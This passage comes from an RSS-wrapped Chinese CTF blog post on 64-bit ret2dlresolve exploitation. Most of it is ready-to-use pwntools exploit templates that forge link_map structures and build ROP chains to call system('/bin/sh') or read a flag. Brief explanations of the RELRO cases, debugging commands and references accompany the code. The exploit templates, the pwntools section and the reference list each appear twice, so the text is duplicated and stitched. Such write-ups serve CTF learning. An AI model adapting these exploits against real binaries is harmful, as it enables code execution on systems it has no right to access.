    linkmap += p64(elf.bss())  # l_info[5]
    linkmap += p64(fake_linkmap_addr + 0x100)  # l_info[6]
    linkmap = linkmap.ljust(0xf8, b&apos;\x00&apos;)
    linkmap += p64(fake_linkmap_addr + 0x110)  # l_info[23]
    linkmap += p64(0) + p64(elf.got[base_func] - 8)  # Elf64_Dyn
    linkmap += p64(0) + p64(fake_linkmap_addr + 0x120)  # Elf64_Dyn
    linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0)  # Elf64_Rel
    return linkmap


fake_link_map_addr = elf.bss() + 0x800
fake_link_map = build_fake_link_map(fake_link_map_addr, &apos;system&apos;)
sh_addr = fake_link_map_addr + len(fake_link_map)
resolve_plt = elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr

payload = b&apos;&apos;
payload += b&apos;\x00&apos; * 0x28
payload += p64(next(elf.search(asm(&apos;ret&apos;), executable=True)))
payload += p64(next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)))
payload += p64(0)
payload += p64(next(elf.search(asm(&apos;pop rsi; pop r15; ret&apos;), executable=True)))
payload += p64(fake_link_map_addr)
payload += p64(0)
payload += p64(elf.plt[&apos;read&apos;])
payload += p64(next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)))
payload += p64(sh_addr)
payload += p64(resolve_plt + 6)
payload += p64(fake_link_map_addr)  # struct link_map *l
payload += p64(0)  # ElfW(Word) reloc_arg
payload = payload.ljust(0x200, b&apos;\x00&apos;)

p.sendafter(b&apos;&amp;gt; \n&apos;, payload)

payload = fake_link_map + b&apos;cat flag&amp;gt;&amp;amp;0\x00&apos;
p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;exp2 板子（输入限制 0x100 时的空间复用版本）&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-compact-exp.png&quot; alt=&quot;64 位 compact exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def build_fake_link_map(fake_linkmap_addr, func, base_func=&apos;puts&apos;):
    offset = n64(libc.sym[func] - libc.sym[base_func])
    linkmap = p64(offset)
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 伪造的.rel.plt的地址
    # fake_rel，因为write函数push的索引是0，也就是第一项
    linkmap += p64(n64(elf.bss()-offset))
    linkmap += p64(0x7) # Rela-&amp;gt;r_info, 7&amp;gt;&amp;gt;32=0，指向symtab的第一项
    linkmap += p64(0)   # Rela-&amp;gt;r_addend
    linkmap += p64(0)   # l_ns
    # DT_SYMTAB
    linkmap += p64(0) # 参考IDA上.dynamic的结构
    linkmap += p64(elf.got[base_func] - 0x8) # 伪造的symtab地址，为已解析函数的got表地址-0x8
    linkmap += b&apos;/bin/sh\x00&apos;
    linkmap = linkmap.ljust(0x68, b&apos;A&apos;)
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, DT_STRTAB，随意设置一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70, DT_SYMTAB 地址
    linkmap = linkmap.ljust(0xf8, b&apos;A&apos;)
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, DT_JMPREL 地址
    return linkmap

read_plt = elf.plt[&apos;read&apos;]  
fake_linkmap_addr = elf.bss() + 0x100 
fake_link_map = build_fake_link_map(fake_linkmap_addr, &apos;system&apos;, &apos;write&apos;)
padding = 120
payload = cyclic(padding)
payload += flat({
    0x00: next(elf.search(asm(&apos;ret&apos;), executable=True)),
    0x08: next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)),
    0x10: 0,
    0x18: next(elf.search(asm(&apos;pop rsi; pop r15; ret&apos;), executable=True)),
    0x20: fake_linkmap_addr,
    0x28: 0,
    0x30: elf.plt[&apos;read&apos;],
    0x38: next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)),
    0x40: fake_linkmap_addr + 0x48,
    0x48: elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr + 6,
    0x50: fake_linkmap_addr,  # struct link_map *l
    0x58: 0                   # ElfW(Word) reloc_arg
})
ru(b&apos;Welcome to XDCTF2015~!\n&apos;)  
sl(payload)
pause()
s(fake_link_map) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ret2dlresolvePayload 自动生成&lt;/h3&gt;
&lt;p&gt;pwntools 内置了 &lt;code&gt;Ret2dlresolvePayload&lt;/code&gt; 可以自动生成伪造结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bss_base = elf.bss() + 0x900

    # 布局计算：
    # [bss_base]        : 将被写入填充数据 (被 main 的 leave; ret 消耗)
    # [fake_rbp_addr]   : bss_base + 0x20 (栈迁移时的目标 RBP)
    # [rop_chain_addr]  : bss_base + 0x28 (leave 后 rsp 指向这里，开始执行 ROP)
    # [dlresolve_data]  : bss_base + 0x100 (存放伪造的 system 结构体数据)

    fake_rbp_addr = bss_base + 0x20
    rop_addr = bss_base + 0x28
    dlresolve_data_addr = bss_base + 0x100

    # 显式指定 data_addr，确保伪造的指针指向正确的位置
    dlresolve = Ret2dlresolvePayload(elf, symbol=&quot;system&quot;, args=[&quot;/bin/sh&quot;], data_addr=dlresolve_data_addr)

    # 生成 ROP 链
    rop = ROP(elf)
    rop.ret2dlresolve(dlresolve)
    rop.raw(0x4011D5) 

    # --- Stage 1: 栈迁移 (Stack Pivot) ---
    payload1 = flat([
        b&apos;A&apos; * 32,          # 填满 s[32]
        fake_rbp_addr,      # 覆盖 RBP，指向我们的 BSS 区域
        0x4011DD            # 覆盖 Ret Addr，跳回 main 调用 fgets 的地方
    ])
    sl(payload1)

    # --- Stage 2: 写入 ROP 和 Fake Structures ---
    payload2 = flat({
        0x28: rop.chain(),
        0x100: dlresolve.payload
    })
    sl(payload2)
    ia()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;常用命令&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;p &amp;amp;l-&amp;gt;l_info[5]
p &amp;amp;l-&amp;gt;l_info
p l
p *l
readelf -r bof    # 查看 .rel.plt 和 .rel.dyn
readelf -d bof    # 查看 .dynamic
readelf -S bof    # 查看各个节的地址
readelf -s bof    # 查看 .dynsym .symtab 符号表
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_45323960/article/details/132191617&quot;&gt;linux pwn 基础知识 - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/seaaseesa/article/details/104478081&quot;&gt;ret2dl-runtime-resolve详细分析(32位&amp;amp;64位) - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_51868336/article/details/114644569&quot;&gt;ret2dlresolve超详细教程(x86&amp;amp;x64) - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;64 位 ret2dlresolve&lt;/h2&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;h4&gt;关于索引&lt;/h4&gt;
&lt;p&gt;64 位下，plt 中的代码 push 的是待解析符号在重定位表中的索引，而不是偏移。&lt;/p&gt;
&lt;h4&gt;关于表的偏移&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DT_STRTAB&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0x68&lt;/code&gt;（32位下是 &lt;code&gt;0x34&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_SYMTAB&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0x70&lt;/code&gt;（32位下是 &lt;code&gt;0x38&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DT_JMPREL&lt;/code&gt; 指针：位于 &lt;code&gt;link_map_addr + 0xF8&lt;/code&gt;（32位下是 &lt;code&gt;0x7C&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;code&gt;_dl_runtime_resolve_avx&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;64位下，这个函数的参数仍然是用栈传参。&lt;/p&gt;
&lt;h4&gt;link_map_x64&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;NO RELRO&lt;/h3&gt;
&lt;p&gt;64位下 &lt;code&gt;NO RELRO&lt;/code&gt; 情况利用更简便，从栈传参变成了寄存器传参，不需要栈迁移，而且没有参数混乱的问题，一条 rop 链就能解决。&lt;/p&gt;
&lt;h4&gt;exp 板子&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-no-relro-exp.png&quot; alt=&quot;64 位 NO RELRO exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read_plt = elf.plt[&apos;read&apos;]
dynstr = 0x600988 + 8    
plt0 = elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr
pop_rdi = next(elf.search(asm(&apos;pop rdi;ret&apos;),executable=True))
pop_rsi = next(elf.search(asm(&apos;pop rsi ; pop r15 ; ret&apos;),executable=True))
#伪造dynstr  
fake_dynstr = b&apos;\x00libc.so.6\x00stdin\x00system\x00&apos; #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00&apos;
target = elf.bss() + 0x100
offset = 120
payload = flat(
    cyclic(offset), 
    pop_rdi , 
    0 , 
    pop_rsi , 
    target , 
    0 , 
    read_plt , # 将&apos;/bin/sh&apos;以及伪造的strtab写入bss段
    pop_rdi , 
    0 , 
    pop_rsi , 
    dynstr , 
    0 , 
    read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
    pop_rdi , 
    target , #/bin/sh
    plt0 , 
    1 # 调用.dl_fixup,解析strlen函数，由于我们已经在fake_strtab中将strlen替换成system，所以将会解析system函数
)
ru(b&apos;Welcome to XDCTF2015~!\n&apos;)
sl(payload)  
#发送system的参数以及伪造的strtab
payload2 = b&apos;/bin/sh\x00&apos;.ljust(0x10,b&apos;\x00&apos;) + fake_dynstr  
sleep(1)  
sl(payload2)  
sleep(1)  
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址  
sl(p64(target+0x10)) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Partial RELRO&lt;/h3&gt;
&lt;p&gt;64 位下伪造时（&lt;code&gt;.bss&lt;/code&gt; 段离 &lt;code&gt;.dynsym&lt;/code&gt; 太远） &lt;code&gt;reloc-&amp;gt;r_info&lt;/code&gt; 也很大，最后使得访问 &lt;code&gt;ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc-&amp;gt;r_info)] &amp;amp; 0x7fff;&lt;/code&gt; 时程序访存出错，导致程序崩溃。因此我们退而求其次选择 &lt;code&gt;ELFW(ST_VISIBILITY) (sym-&amp;gt;st_other)&lt;/code&gt; 不为 0 时的程序执行流程，此时计算的目标函数地址为 &lt;code&gt;l-&amp;gt;l_addr + sym-&amp;gt;st_value&lt;/code&gt; 。&lt;/p&gt;
&lt;p&gt;虽然这种方法无法在不知道 libc 版本的情况下完成利用，但是可以在不泄露 libc 基址的情况下完成利用。&lt;/p&gt;
&lt;p&gt;为了实现 64 位的 ret2dlresolve ，我们需要作如下构造：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;resolve&lt;/code&gt; 函数传入的第二个参数为 0 ，从而从 &lt;code&gt;Elf64_Rel&lt;/code&gt; 数组中找到第一个 &lt;code&gt;Elf64_Rel&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;为了避免更新 got 表时内存访问错误，&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_offset&lt;/code&gt; 加上 &lt;code&gt;link_map-&amp;gt;l_addr&lt;/code&gt; 需要指向可读写内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_info&lt;/code&gt; 的低 32 比特设置为 &lt;code&gt;ELF_MACHINE_JMP_SLOT&lt;/code&gt; 即 7 。&lt;/li&gt;
&lt;li&gt;为了避免下面这行代码访存错误，需要让 &lt;code&gt;l_info[5]&lt;/code&gt; 指向可读写内存：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Elf64_Rel&lt;/code&gt; 的 &lt;code&gt;r_info&lt;/code&gt; 的高 32 比特设置为 0，这样找的就是 &lt;code&gt;Elf64_Sym&lt;/code&gt; 数组中的第一个 &lt;code&gt;Elf64_Sym&lt;/code&gt; 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;link_map-&amp;gt;l_info[6]-&amp;gt;d_un.dptr&lt;/code&gt; 指向 &lt;code&gt;puts@got - 8&lt;/code&gt;，这样就伪造出 &lt;code&gt;Elf64_Sym&lt;/code&gt; 的 &lt;code&gt;st_value&lt;/code&gt; 为 &lt;code&gt;puts&lt;/code&gt; 函数地址，同时 &lt;code&gt;st_order&lt;/code&gt; 也大概率为非 0 。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;link_map&lt;/code&gt; 的 &lt;code&gt;l_addr&lt;/code&gt; 设置为 &lt;code&gt;&amp;amp;system - &amp;amp;puts&lt;/code&gt;，这样 &lt;code&gt;l-&amp;gt;l_addr + sym-&amp;gt;st_value&lt;/code&gt; 结果就是 &lt;code&gt;system&lt;/code&gt; 函数地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-partial-relro.png&quot; alt=&quot;64 位 Partial RELRO 结构示意&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;exp1 板子&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;
p = process([&apos;./without_leak&apos;])
elf = ELF(&apos;./without_leak&apos;)
libc = ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;)

rw_mem = elf.bss() + 0x10

n64 = lambda x: (x + 0x10000000000000000) &amp;amp; 0xFFFFFFFFFFFFFFFF


def build_fake_link_map(fake_linkmap_addr, func, base_func=&apos;puts&apos;):
    offset = n64(libc.sym[func] - libc.sym[base_func])
    linkmap = p64(offset)  # l_addr
    linkmap = linkmap.ljust(0x68, b&apos;\x00&apos;) 
    linkmap += p64(elf.bss())  # l_info[5]
    linkmap += p64(fake_linkmap_addr + 0x100)  # l_info[6]
    linkmap = linkmap.ljust(0xf8, b&apos;\x00&apos;)
    linkmap += p64(fake_linkmap_addr + 0x110)  # l_info[23]
    linkmap += p64(0) + p64(elf.got[base_func] - 8)  # Elf64_Dyn
    linkmap += p64(0) + p64(fake_linkmap_addr + 0x120)  # Elf64_Dyn
    linkmap += p64(n64(elf.bss() - offset)) + p32(7) + p32(0)  # Elf64_Rel
    return linkmap


fake_link_map_addr = elf.bss() + 0x800
fake_link_map = build_fake_link_map(fake_link_map_addr, &apos;system&apos;)
sh_addr = fake_link_map_addr + len(fake_link_map)
resolve_plt = elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr

payload = b&apos;&apos;
payload += b&apos;\x00&apos; * 0x28
payload += p64(next(elf.search(asm(&apos;ret&apos;), executable=True)))
payload += p64(next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)))
payload += p64(0)
payload += p64(next(elf.search(asm(&apos;pop rsi; pop r15; ret&apos;), executable=True)))
payload += p64(fake_link_map_addr)
payload += p64(0)
payload += p64(elf.plt[&apos;read&apos;])
payload += p64(next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)))
payload += p64(sh_addr)
payload += p64(resolve_plt + 6)
payload += p64(fake_link_map_addr)  # struct link_map *l
payload += p64(0)  # ElfW(Word) reloc_arg
payload = payload.ljust(0x200, b&apos;\x00&apos;)

p.sendafter(b&apos;&amp;gt; \n&apos;, payload)

payload = fake_link_map + b&apos;cat flag&amp;gt;&amp;amp;0\x00&apos;
p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;exp2 板子（输入限制 0x100 时的空间复用版本）&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/posts/ret2dlresolve-64bit-compact-exp.png&quot; alt=&quot;64 位 compact exp 结构&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def build_fake_link_map(fake_linkmap_addr, func, base_func=&apos;puts&apos;):
    offset = n64(libc.sym[func] - libc.sym[base_func])
    linkmap = p64(offset)
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 伪造的.rel.plt的地址
    # fake_rel，因为write函数push的索引是0，也就是第一项
    linkmap += p64(n64(elf.bss()-offset))
    linkmap += p64(0x7) # Rela-&amp;gt;r_info, 7&amp;gt;&amp;gt;32=0，指向symtab的第一项
    linkmap += p64(0)   # Rela-&amp;gt;r_addend
    linkmap += p64(0)   # l_ns
    # DT_SYMTAB
    linkmap += p64(0) # 参考IDA上.dynamic的结构
    linkmap += p64(elf.got[base_func] - 0x8) # 伪造的symtab地址，为已解析函数的got表地址-0x8
    linkmap += b&apos;/bin/sh\x00&apos;
    linkmap = linkmap.ljust(0x68, b&apos;A&apos;)
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, DT_STRTAB，随意设置一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70, DT_SYMTAB 地址
    linkmap = linkmap.ljust(0xf8, b&apos;A&apos;)
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, DT_JMPREL 地址
    return linkmap

read_plt = elf.plt[&apos;read&apos;]  
fake_linkmap_addr = elf.bss() + 0x100 
fake_link_map = build_fake_link_map(fake_linkmap_addr, &apos;system&apos;, &apos;write&apos;)
padding = 120
payload = cyclic(padding)
payload += flat({
    0x00: next(elf.search(asm(&apos;ret&apos;), executable=True)),
    0x08: next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)),
    0x10: 0,
    0x18: next(elf.search(asm(&apos;pop rsi; pop r15; ret&apos;), executable=True)),
    0x20: fake_linkmap_addr,
    0x28: 0,
    0x30: elf.plt[&apos;read&apos;],
    0x38: next(elf.search(asm(&apos;pop rdi; ret&apos;), executable=True)),
    0x40: fake_linkmap_addr + 0x48,
    0x48: elf.get_section_by_name(&apos;.plt&apos;).header.sh_addr + 6,
    0x50: fake_linkmap_addr,  # struct link_map *l
    0x58: 0                   # ElfW(Word) reloc_arg
})
ru(b&apos;Welcome to XDCTF2015~!\n&apos;)  
sl(payload)
pause()
s(fake_link_map) 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ret2dlresolvePayload 自动生成&lt;/h3&gt;
&lt;p&gt;pwntools 内置了 &lt;code&gt;Ret2dlresolvePayload&lt;/code&gt; 可以自动生成伪造结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bss_base = elf.bss() + 0x900

    # 布局计算：
    # [bss_base]        : 将被写入填充数据 (被 main 的 leave; ret 消耗)
    # [fake_rbp_addr]   : bss_base + 0x20 (栈迁移时的目标 RBP)
    # [rop_chain_addr]  : bss_base + 0x28 (leave 后 rsp 指向这里，开始执行 ROP)
    # [dlresolve_data]  : bss_base + 0x100 (存放伪造的 system 结构体数据)

    fake_rbp_addr = bss_base + 0x20
    rop_addr = bss_base + 0x28
    dlresolve_data_addr = bss_base + 0x100

    # 显式指定 data_addr，确保伪造的指针指向正确的位置
    dlresolve = Ret2dlresolvePayload(elf, symbol=&quot;system&quot;, args=[&quot;/bin/sh&quot;], data_addr=dlresolve_data_addr)

    # 生成 ROP 链
    rop = ROP(elf)
    rop.ret2dlresolve(dlresolve)
    rop.raw(0x4011D5) 

    # --- Stage 1: 栈迁移 (Stack Pivot) ---
    payload1 = flat([
        b&apos;A&apos; * 32,          # 填满 s[32]
        fake_rbp_addr,      # 覆盖 RBP，指向我们的 BSS 区域
        0x4011DD            # 覆盖 Ret Addr，跳回 main 调用 fgets 的地方
    ])
    sl(payload1)

    # --- Stage 2: 写入 ROP 和 Fake Structures ---
    payload2 = flat({
        0x28: rop.chain(),
        0x100: dlresolve.payload
    })
    sl(payload2)
    ia()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;常用命令&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;p &amp;amp;l-&amp;gt;l_info[5]
p &amp;amp;l-&amp;gt;l_info
p l
p *l
readelf -r bof    # 查看 .rel.plt 和 .rel.dyn
readelf -d bof    # 查看 .dynamic
readelf -S bof    # 查看各个节的地址
readelf -s bof    # 查看 .dynsym .symtab 符号表
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;参考&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_45323960/article/details/132191617&quot;&gt;linux pwn 基础知识 - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/seaaseesa/article/details/104478081&quot;&gt;ret2dl-runtime-resolve详细分析(32位&amp;amp;64位) - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/qq_51868336/article/details/114644569&quot;&gt;ret2dlresolve超详细教程(x86&amp;amp;x64) - CSDN博客&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>